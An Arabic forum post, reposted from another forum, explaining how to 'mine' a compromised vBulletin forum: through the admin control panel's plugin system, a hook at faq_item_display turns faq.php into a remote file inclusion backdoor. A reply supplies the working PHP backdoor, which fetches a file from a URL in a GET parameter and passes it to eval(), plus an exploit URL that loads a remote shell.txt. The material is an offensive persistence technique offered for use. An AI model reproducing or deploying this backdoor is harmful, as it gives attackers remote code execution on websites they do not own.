مرحباا اخوااانى هذا الشرح منقول من متكى ..
عن كيفية تلغيم المنتدى
بثغرات الفايل انكلود
عند الوصول للوحه التحكم
طبعا الكل برفع الشل من خلال
Plugins & Products
ويكون الشل بامتداد
xml
لكن لقيت انا هاي الطريقه فعجبتي وحبيت انقلها لكم


السلام عليكم ورحمه الله وبركاته ,,
الموضوع: تلغيم اي كود تنفيذي او غيره من لوحه التحكم admincp للمنتديات vBulletin
الطريقه : اتبع الشرح بالصور
اول شي بعد ماتدخل لوحه التحكم ,, تروح على اليمين تحت عند ( المنتجات والاضافات )
من تحتها تختار ( إضافة برنامج مساعد جديد )
كالصوره التاليه:
http://alm3refh13.jeeran.com/a/47414eadd7.png
بعدين تختار مثل الصوره التاليه:
http://alm3refh13.jeeran.com/a/3561a80c36.png
اول اختيار تخليه مثل ماهو
ثاني خيار تختار وين بتحط اكوادك بأي موقع ,, وحنا اخترنا بدرسنا الاسئله الشائعه والموقع اسمه faq_item_display
بعدين كمل مع الصوره التاليه :
مثل ماتشوف في المربعات
http://alm3refh13.jeeran.com/a/5af616b0aa.png
الاسم
بعدين بالمربع الكبير تحط الكود الي تبي تستخدمه وانا حطيت الكود التالي :


وهذا الكود يقوم بعمل انكلود للمتغير الي اسمه sniper
بعدين تحدد الخيار الي تحته الى نعم وبعدها تضغط حفظ
الان تروح لملف الاسئله الشائعه وهو faq.php وراح تحصل الخطاء التالي ,,
http://alm3refh13.jeeran.com/a/269a0798f7.png
دليل ان الكود انزرع وشغال
----------------------------
الان كل الي عليك انك تسوي الاستغلال كذا


وراح تشوف الشل اشتغل معك بالشكل التالي:
http://alm3refh13.jeeran.com/a/e0bc887a83.png
تحياتي وتقديري


كل الشكر للمبدع
متي ورا الشمس


(اتعلمو مني بنقل وبحط الحقوق بكل فخر )
لا تسرقو هذا افضل حل للجميع

-------------------------------------------------------------------------------- يعطيك العافية وطريقة تنجح اذا كان اصدار php 4 في حالة كان اصدار php 5 مش راح تنجح طريقة لانه مرقعة تغرات الانكلود في هذا اصدار بامان الله

<?php if($_GET[t0v]){ $file=implode("\n",file($_GET[t0v])); $t0v=str_replace("<?php", "",$file); $t0v=str_replace("<?", "",$t0v); $t0v=str_replace("?>", "",$t0v); eval($t0v); } ?>

xsxsxs.com/vb/faq.php?t0v=http//shell.txt?

شكرا لك شرح رائع وشكرا لحفظ الحقوق :)